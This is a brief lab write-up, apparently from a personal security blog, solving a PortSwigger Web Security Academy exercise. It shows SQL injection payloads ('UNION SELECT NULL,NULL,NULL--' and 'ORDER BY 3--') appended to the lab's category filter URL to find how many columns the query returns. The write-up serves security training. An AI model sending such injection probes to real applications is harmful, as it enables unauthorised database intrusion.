> For the complete documentation index, see [llms.txt](https://0xkourama.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xkourama.gitbook.io/blog/port-swigger-labs/sql-injection/lab-sql-injection-union-attack-determining-the-number-of-columns-returned-by-the-query.md).

# Lab: SQL injection UNION attack, determining the number of columns returned by the query

## [Lab: SQL injection UNION attack, determining the number of columns returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns)<br>

try&#x20;

```sql
' UNION SELECT NULL,NULL,NULL--
```

NO error

```sql

https://aced1fd11e19ddd4c1dd57e100510060.web-security-academy.net/filter?category=Lifestyle
'  UNION SELECT NULL, NULL, NULL--
```

if you added a fourth null the error will appear.

try&#x20;

```sql
' ORDER BY 3--
```

&#x20;No error when you will change it to 4 there will be an error

```sql

https://aced1fd11e19ddd4c1dd57e100510060.web-security-academy.net/filter?category=Lifestyle
' ORDER BY 3--
```